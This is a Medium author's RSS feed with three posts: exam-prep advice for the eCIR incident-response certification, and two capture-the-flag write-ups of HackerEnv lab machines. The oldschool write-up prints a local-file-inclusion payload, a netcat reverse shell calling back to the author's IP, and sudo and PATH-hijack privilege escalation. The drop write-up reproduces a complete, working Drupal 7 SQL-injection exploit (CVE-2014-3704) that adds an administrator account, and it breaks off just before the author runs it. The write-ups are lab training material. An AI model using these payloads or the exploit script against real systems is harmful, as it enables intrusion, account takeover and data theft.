<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nouf on Medium]]></title>
        <description><![CDATA[Stories by Nouf on Medium]]></description>
        <link>https://medium.com/@enaljammaz?source=rss-83ebbf1ee715------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ct1OPC-oBF77RAGRXofdQA.png</url>
            <title>Stories by Nouf on Medium</title>
            <link>https://medium.com/@enaljammaz?source=rss-83ebbf1ee715------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 10:22:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@enaljammaz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[eCIR Certification Write Up]]></title>
            <link>https://enaljammaz.medium.com/ecir-certification-write-up-815e168cf6d8?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/815e168cf6d8</guid>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Tue, 06 Apr 2021 21:19:25 GMT</pubDate>
            <atom:updated>2021-04-06T21:19:25.453Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone,</p><p>It’s been a long! I back this time to write about my experience in eCIR certifications from elearnSecurity.</p><p><strong>Exam:</strong></p><p>Let’s know about the exam to know how to prepare for it. You will be given two scenarios. The first one is Splunk and the second is Kibana &amp; pcap file.</p><p>There are going to show you the topology and tell you which server is compromised. So you have to figure out how that server got compromised and what happened next. Basically, you need to check everything to draw a mind map for you. In order to check, you need to know how to <strong>write queries in Splunk &amp; Kibana.</strong></p><p><strong>Preparation:</strong></p><p>Everyone advises to go through the content and understand them very well. Here I am going to talk about my <strong>external </strong>resources which really benefits me.</p><p>1- Splunk</p><p>I highly recommend you to take the <a href="https://www.splunk.com/en_us/training/free-courses/splunk-fundamentals-1.html">Fundamental course from Splunk</a>. This will give you a good foundation and you will be able to write queries and enable you to deal with Splunk.</p><p>After gaining the fundamental, funny part is about to start! There are databases that have incidents and this is very similar to the exam.</p><p>Before jumping to the practical part, I advise you to read this</p><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//www.splunk.com/pdfs/technical-briefs/advanced-threat-detection-and-response-tech-brief.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/ea25abf7889f5003d42588e364632549/href">https://medium.com/media/ea25abf7889f5003d42588e364632549/href</a></iframe><ul><li>Boss of the SOC V1</li></ul><p>It has questions so this will be easier than the exam because you know what to look for.</p><p>Questions:</p><p><a href="https://samsclass.info/50/proj/botsv1.htm">Boss of the SOC v1: Threat Hunting with Splunk</a></p><p>This link has more questions, hints, answers:</p><p><a href="https://drive.google.com/drive/folders/1E0RKsW0iTntCB5HPDX4wBHTyk1fUGVaH?usp=sharing">botsv1content - Google Drive</a></p><p>Answers:</p><p><a href="https://haggis-m.medium.com/hunting-methodology-splunk-bots-boss-of-the-soc-part-1-bcf019386617">Hunting Methodology — Splunk BOTS (Boss of the SOC) — Part 1</a></p><p>Video:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fq4LmktgWsRE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dq4LmktgWsRE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fq4LmktgWsRE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1320b951943eaff9fbe224916448dea1/href">https://medium.com/media/1320b951943eaff9fbe224916448dea1/href</a></iframe><ul><li>Boss of the SOC V2</li></ul><p>Questions:</p><p><a href="https://samsclass.info/50/proj/botsv2.htm">Splunk Boss of the SOC v2</a></p><p>This link has more questions, hints, answers:</p><p><a href="https://drive.google.com/drive/folders/16mcvlkmxhCGbl3teyo1UlBwiucR2pJqA?usp=sharing">botsv2content - Google Drive</a></p><p>Answers:</p><ul><li><a href="https://ivanitlearning.wordpress.com/2020/06/15/hunting-with-splunk-botsv2-qns-1xx/">Hunting with Splunk BOTSv2 - Qns 1xx</a></li><li><a href="https://ivanitlearning.wordpress.com/2020/06/12/hunting-with-splunk-botsv2-qns-2xx/">Hunting with Splunk BOTSv2 - Qns 2xx</a></li><li><a href="https://ivanitlearning.wordpress.com/2020/06/20/hunting-with-splunk-botsv2-qns-3xx/">Hunting with Splunk BOTSv2 - Qns 3xx</a></li><li><a href="https://ivanitlearning.wordpress.com/2020/06/23/hunting-with-splunk-botsv2-qns-4xx/">Hunting with Splunk BOTSv2 - Qns 4xx</a></li><li><a href="https://ivanitlearning.wordpress.com/2020/06/30/hunting-with-splunk-botsv2-qns-5xx/">Hunting with Splunk BOTSv2 - Qns 5xx</a></li><li><a href="https://jaeflo.github.io/2018/analyse-securityincident-with-splunk/">analyze a security incident with splunk -&gt; write up</a></li></ul><ul><li>Boss of the SOC V3</li></ul><p>This link has more questions, hints, answers:</p><p><a href="https://drive.google.com/drive/folders/1Wpwn6g3KSdbdGTvc1lEQnO8MxpCMRTcb?usp=sharing">botsv3content - Google Drive</a></p><p>Video:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FRXDbir6B5mE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DRXDbir6B5mE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FRXDbir6B5mE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/32a63b9fbc098efb3985122dba7fdd8a/href">https://medium.com/media/32a63b9fbc098efb3985122dba7fdd8a/href</a></iframe><ul><li>TryHackMe: Splunk</li></ul><ul><li><a href="https://www.tryhackme.com/room/bpsplunk">TryHackMe | Splunk</a></li><li><a href="https://www.aldeid.com/wiki/TryHackMe-BP-Splunk/Ransomware">TryHackMe-BP-Splunk/Ransomware</a></li></ul><p>2- Elk: Kibana</p><p>I did not find free resources to practice Kibana, so I will leave this part to you.</p><p><strong>During Exam:</strong></p><p>Try your best to capture <strong>EVERY </strong>single finding, and virus total will be your friend during the exam. Also, <strong>trust </strong>your feelings, if you feel this is suspicious, get deeper into it even if its name is legitimate.</p><p>Benefits resources:</p><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//www.splunk.com/pdfs/solution-guides/splunk-quick-reference-guide.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/982f31455c7e01e1c1244bba84bccfb5/href">https://medium.com/media/982f31455c7e01e1c1244bba84bccfb5/href</a></iframe><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//digital-forensics.sans.org/media/DFPS_FOR508_v4.6_4-19.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/dee9ff6b466999eed917de6752aa7644/href">https://medium.com/media/dee9ff6b466999eed917de6752aa7644/href</a></iframe><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//secureservercdn.net/160.153.138.53/x27.24e.myftpupload.com/download/Windows-Event-Log-Analyst-Reference.pdf%3Ftime%3D1605194710&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/d0572fb9753c0e9295e07e717cd70d12/href">https://medium.com/media/d0572fb9753c0e9295e07e717cd70d12/href</a></iframe><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//wiki.splunk.com/images/2/2b/Cheatsheet.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/f8e2551cb8dfc3fae576cc006f21a02a/href">https://medium.com/media/f8e2551cb8dfc3fae576cc006f21a02a/href</a></iframe><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//wiki.splunk.com/images/a/a3/Splunk_4.x_cheatsheet.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/ccfa51935ecf8a194671ed09f3389c65/href">https://medium.com/media/ccfa51935ecf8a194671ed09f3389c65/href</a></iframe><p>Finally, exam is not hard at all, getting familiar with Splunk &amp; Kibana will help you very much. Examination methodology differs from person to person, my methodology was studying host by host. and from there I moved and expanded hosts.</p><p>Good luck and if you have any question, you can ask me anytime.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=815e168cf6d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerEnv Target: oldschool#1 Write Up]]></title>
            <link>https://enaljammaz.medium.com/hackerenv-target-oldschool-1-write-up-e6a0181b7da7?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6a0181b7da7</guid>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Mon, 11 Jan 2021 10:27:30 GMT</pubDate>
            <atom:updated>2021-01-11T10:27:30.476Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s do <strong>Oldschool Machine </strong>in this write up.</p><p>As always, started with nmap to figure open ports</p><blockquote><em>nmap </em>10.0.100.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*dLinB3qR27jNp7zCFxuG3A.png" /></figure><p>As simple as that, only port 80 is opened, sol let’s visit it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YKesk1n9ZdMPOfVNpPU5AQ.png" /></figure><p>To be honest, I felt like it is really under development at the first, but I decided to visit the hyperlinks to see what it has.</p><p>I visited <strong>image </strong>and from the first look the URL attracted me to try LFI</p><blockquote>LFI stands for Local File Inclusion, it allows an attacker to include files that exist (available locally) on the target web server. This vulnerability exists when a web application includes a file without correctly sanitizing the user input.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yzGsbreLpr_NHl3nWqw4IQ.png" /></figure><p>I tried to access /etc/passwd and bingo it is appeared!</p><blockquote>10.0.100.1/?hackerenv=../../../etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ht1SkzOW3eT5IweRlXVrBA.png" /></figure><p>Next, I decided to make a connection and get into the machine by starting to listen</p><blockquote>nc -lvnp 8000</blockquote><ul><li>8000 is a chosen port</li></ul><p>and I started the communication by</p><blockquote>10.0.100.1/?hackerenv=nc+-e+/bin/bash+10.10.1.22+8000</blockquote><ul><li>10.10.1.22 is my IP, change it with yours</li><li>8000 is the chosen port</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*lEzRlXaP1a0F5Jig9UypEQ.png" /></figure><p>and I got an access and found first flag under <strong>/var/www</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*b1WoSZr1GlBWa0Ar_wYe-Q.png" /></figure><p>Then I ran</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*aEdcbfi2bvTiFQm1tYChag.png" /></figure><blockquote>sudo -l is used if no command is specified, list the allowed (and forbidden) commands for the invoking user on the current host.</blockquote><p>so it told us that we can take abdulr7man’s account by</p><blockquote>sudo -u abdulr7man /usr/bin/vi /tmp/mynotes</blockquote><p>then I had to write</p><blockquote>:!/bin/bash</blockquote><p>to get into the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*KTm0kheavqYQ416G2ERG1w.png" /></figure><p>I started looking for the flag and I found it under <strong>/home/abdulr7man</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*dTFU5An5k8xM5iY2t9LQvQ.png" /></figure><p>I visited /etc/passwd to see the accounts and I found that there is hackerenv account so I ran</p><blockquote>sudo -l</blockquote><p>and I got this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kikVeW-mm49_TNpBmw5wUg.png" /></figure><p>I could take hackerenv’ account by running this</p><blockquote>sudo -u hackerenv /usr/bin/tmux -c bin/bash</blockquote><ul><li>-c is specify what I want, /bin/bash because I want the shell</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*rb4TBWahgV0vP_oNPVmj_w.png" /></figure><p>I found the third flag under <strong>/home/hackerenv</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*NXMuZ8ibEvy7HvnGvRIsiQ.png" /></figure><p>I ran</p><blockquote>/usr/local/bin/myid</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Ayomy5XR3mgtyTF9dOVL8g.png" /></figure><p>but still I was not having a root so I printed <strong>/bin/bash</strong> and put it in <strong>id</strong></p><blockquote>echo ‘/bin/bash’ &gt; id</blockquote><p>and as it is shown, id does not have an execution privilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*TaRE26b_-wpGHsUeB85HqQ.png" /></figure><p>so let’s change the privilege by</p><blockquote>chmod 777 id</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*fs29V6xEaqLLaMMHIRRbNA.png" /></figure><p>I printed $PATH by</p><blockquote>echo $PATH</blockquote><blockquote>PATH is an environmental variable in Linux and other Unix-like operating systems that tells the shell which directories to search for executable files (i.e., ready-to-run programs) in response to commands issued by a user.</blockquote><p>and I exported the tmp to PATH by</p><blockquote>export PATH=/tmp:$path</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*EN8VBgz8peEZcw8pv_lZlg.png" /></figure><p>and run the below again</p><blockquote>/usr/local/bin/myid</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/173/1*G6ud7Kod86RqVnD8o6v30Q.png" /></figure><p>and I got root and the last flag is under <strong>/root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*WMvgqjd4MsmlazPJVTaUuA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6a0181b7da7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerEnv Target: drop#2 Write Up]]></title>
            <link>https://enaljammaz.medium.com/hackerenv-target-drop-2-write-up-362fce756a17?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/362fce756a17</guid>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Wed, 11 Nov 2020 13:51:32 GMT</pubDate>
            <atom:updated>2020-11-11T13:56:48.888Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s do <strong>Drop Machine </strong>in this write up.</p><p>As always, started with nmap to figure open ports</p><blockquote>nmap -A 10.0.100.2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*DVg0ntw4tx8ifdhq0e2Feg.png" /></figure><p>By visiting the open port, I got this page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DY6GRMEJp9Au8K-3Ub68gQ.png" /></figure><p>and I got this beautiful hint in the button of the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*KMGdH1I_TEFPQJJ_0OXAtA.png" /></figure><p>Googling Drupal gave me many ideas to exploit, it has many vulnerabilities and one of them is ( ‘Drupalgeddon’ SQL Injection (Add Admin User) )</p><p>I wanted to take advantage of that vulnerability, so I planned to create an admin account to log in.</p><p>Please copy the below content (<strong>DO NOT CHANGE ANT THING</strong>) and paste in a py extension file, I named my file drupal.py</p><blockquote>#!/usr/bin/python<br>#<br># <br># Drupal 7.x SQL Injection SA-CORE-2014–005 <a href="https://www.drupal.org/SA-CORE-2014-005">https://www.drupal.org/SA-CORE-2014-005</a><br># Inspired by yukyuk’s P.o.C (<a href="https://www.reddit.com/user/fyukyuk">https://www.reddit.com/user/fyukyuk</a>)<br>#<br># Tested on Drupal 7.31 with BackBox 3.x<br>#<br># This material is intended for educational <br># purposes only and the author can not be held liable for <br># any kind of damages done whatsoever to your machine, <br># or damages caused by some other,creative application of this material.<br># In any case you disagree with the above statement,stop here.</blockquote><blockquote>import hashlib, urllib2, optparse, random, sys</blockquote><blockquote># START — from drupalpass import DrupalHash # <a href="https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py">https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py</a><br># Calculate a non-truncated Drupal 7 compatible password hash.<br># The consumer of these hashes must truncate correctly.</blockquote><blockquote>class DrupalHash:</blockquote><blockquote>def __init__(self, stored_hash, password):<br> self.itoa64 = ‘./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz’<br> self.last_hash = self.rehash(stored_hash, password)</blockquote><blockquote>def get_hash(self):<br> return self.last_hash</blockquote><blockquote>def password_get_count_log2(self, setting):<br> return self.itoa64.index(setting[3])</blockquote><blockquote>def password_crypt(self, algo, password, setting):<br> setting = setting[0:12]<br> if setting[0] != ‘$’ or setting[2] != ‘$’:<br> return False</blockquote><blockquote>count_log2 = self.password_get_count_log2(setting)<br> salt = setting[4:12]<br> if len(salt) &lt; 8:<br> return False<br> count = 1 &lt;&lt; count_log2</blockquote><blockquote>if algo == ‘md5’:<br> hash_func = hashlib.md5<br> elif algo == ‘sha512’:<br> hash_func = hashlib.sha512<br> else:<br> return False<br> hash_str = hash_func(salt + password).digest()<br> for c in range(count):<br> hash_str = hash_func(hash_str + password).digest()<br> output = setting + self.custom64(hash_str)<br> return output</blockquote><blockquote>def custom64(self, string, count = 0):<br> if count == 0:<br> count = len(string)<br> output = ‘’<br> i = 0<br> itoa64 = self.itoa64<br> while 1:<br> value = ord(string[i])<br> i += 1<br> output += itoa64[value &amp; 0x3f]<br> if i &lt; count:<br> value |= ord(string[i]) &lt;&lt; 8<br> output += itoa64[(value &gt;&gt; 6) &amp; 0x3f]<br> if i &gt;= count:<br> break<br> i += 1<br> if i &lt; count:<br> value |= ord(string[i]) &lt;&lt; 16<br> output += itoa64[(value &gt;&gt; 12) &amp; 0x3f]<br> if i &gt;= count:<br> break<br> i += 1<br> output += itoa64[(value &gt;&gt; 18) &amp; 0x3f]<br> if i &gt;= count:<br> break<br> return output</blockquote><blockquote>def rehash(self, stored_hash, password):<br> # Drupal 6 compatibility<br> if len(stored_hash) == 32 and stored_hash.find(‘$’) == -1:<br> return hashlib.md5(password).hexdigest()<br> # Drupal 7<br> if stored_hash[0:2] == ‘U$’:<br> stored_hash = stored_hash[1:]<br> password = hashlib.md5(password).hexdigest()<br> hash_type = stored_hash[0:3]<br> if hash_type == ‘$S$’:<br> hash_str = self.password_crypt(‘sha512’, password, stored_hash)<br> elif hash_type == ‘$H$’ or hash_type == ‘$P$’:<br> hash_str = self.password_crypt(‘md5’, password, stored_hash)<br> else:<br> hash_str = False<br> return hash_str<br># END — from drupalpass import DrupalHash # <a href="https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py">https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py</a></blockquote><blockquote>def randomAgentGen():</blockquote><blockquote>userAgent = [‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4’,<br> ‘Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36’,<br> ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0’,<br> ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0’,<br> ‘Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36’,<br> ‘Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53’,<br> ‘Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36’,<br> ‘Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0’,<br> ‘Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36’,<br> ‘Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10’,<br> ‘Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0’,<br> ‘Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9’,<br> ‘Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0’,<br> ‘Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14’,<br> ‘Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)’,<br> ‘Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0’,<br> ‘Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36’,<br> ‘Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36’,<br> ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0’,<br> ‘Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36’,<br> ‘Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53’,<br> ‘Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0’,<br> ‘Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36’,<br> ‘Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36’,<br> ‘Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3’,<br> ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36’]</blockquote><blockquote>UA = random.choice(userAgent)<br> return UA</blockquote><blockquote>def urldrupal(url):<br> if url[:8] != “https://” and url[:7] != “http://”:<br> print(‘[X] You must insert http:// or https:// procotol’)<br> sys.exit(1)<br> # Page login<br> url = url+’/?q=node&amp;destination=node’<br> return url</blockquote><blockquote>banner = “””<br> ______ __ _______ _______ _____ <br> | _ \ . — — . — . — . — — -. — -.-| | | _ || _ | _ | <br> |. | \| _| | | _ | _ | | |___| _|___| |.| | <br> |. | |__| |_____| __|___._|__| / |___(__ `-|. | <br> |: 1 / |__| | | |: 1 | |: | <br> |::.. . / | | |::.. . | |::.| <br> ` — — — ‘ ` — -’ ` — — — -’ ` — -’ <br> _______ __ ___ __ __ __ <br> | _ . — — -| | | . — — -|__. — — -. — — | |_|__. — — -. — — -.<br> | 1___| _ | | |. | | | -__| __| _| | _ | |<br> |____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|<br> |: 1 | |__| |: | |___| <br> |::.. . | |::.| <br> ` — — — -’ ` — -’ <br> <br> Drup4l =&gt; 7.0 &lt;= 7.31 Sql-1nj3ct10n<br> Admin 4cc0unt cr3at0r</blockquote><blockquote>Discovered by:</blockquote><blockquote>Stefan Horst<br> (CVE-2014–3704)</blockquote><blockquote>Written by:</blockquote><blockquote>Claudio Viviani</blockquote><blockquote><a href="http://www.homelab.it/">http://www.homelab.it</a></blockquote><blockquote><a href="/service/mailto:info@homelab.it">info@homelab.it</a><br> <a href="/service/mailto:homelabit@protonmail.ch">homelabit@protonmail.ch</a></blockquote><blockquote><a href="https://www.facebook.com/homelabit">https://www.facebook.com/homelabit</a><br> <a href="https://twitter.com/homelabit">https://twitter.com/homelabit</a><br> <a href="https://plus.google.com/+HomelabIt1/">https://plus.google.com/+HomelabIt1/</a><br> <a href="https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww">https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww</a></blockquote><blockquote>“””</blockquote><blockquote>commandList = optparse.OptionParser(‘usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n’)<br>commandList.add_option(‘-t’, ‘ — target’,<br> action=”store”,<br> help=”Insert URL: http[s]://<a href="http://www.victim.com/">www.victim.com</a>”,<br> )<br>commandList.add_option(&#39;-u&#39;, ‘ — username’,<br> action=”store”,<br> help=”Insert username”,<br> )<br>commandList.add_option(‘-p’, ‘ — pwd’,<br> action=”store”,<br> help=”Insert password”,<br> )<br>options, remainder = commandList.parse_args()</blockquote><blockquote># Check args<br>if not options.target or not options.username or not options.pwd:<br> print(banner)<br> print<br> commandList.print_help()<br> sys.exit(1)</blockquote><blockquote>print(banner)</blockquote><blockquote>host = options.target<br>user = options.username<br>password = options.pwd</blockquote><blockquote>hash = DrupalHash(“$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML”, password).get_hash()</blockquote><blockquote>target = urldrupal(host)</blockquote><blockquote># Add new user:<br># insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, ‘admin’, ‘$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld’ FROM users<br>#<br># Set administrator permission (rid = 3):<br># insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = ‘admin’), 3)<br>#<br>post_data = “name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27”+user+”%27,+%27&quot;+hash[:55]+”%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27&quot;+user+”%27),+3);;#%20%20]=test3&amp;name[0]=test&amp;pass=shit2&amp;test2=test&amp;form_build_id=&amp;form_id=user_login_block&amp;op=Log+in”</blockquote><blockquote>UA = randomAgentGen()<br>try:<br> req = urllib2.Request(target, post_data, headers={ ‘User-Agent’: UA })<br> content = urllib2.urlopen(req).read()</blockquote><blockquote>if “mb_strlen() expects parameter 1” in content:<br> print “[!] VULNERABLE!”<br> print<br> print “[!] Administrator user created!”<br> print<br> print “[*] Login: “+str(user)<br> print “[*] Pass: “+str(password)<br> print “[*] Url: “+str(target)</blockquote><blockquote>else:<br> print “[X] NOT Vulnerable :(“</blockquote><blockquote>except urllib2.HTTPError as e:</blockquote><blockquote>print “[X] HTTP Error: “+str(e.reason)+” (“+str(e.code)+”)”</blockquote><blockquote>except urllib2.URLError as e:</blockquote><blockquote>print “[X] Connection error: “+str(e.reason)</blockquote><p>I am going to run the script to create the admin account 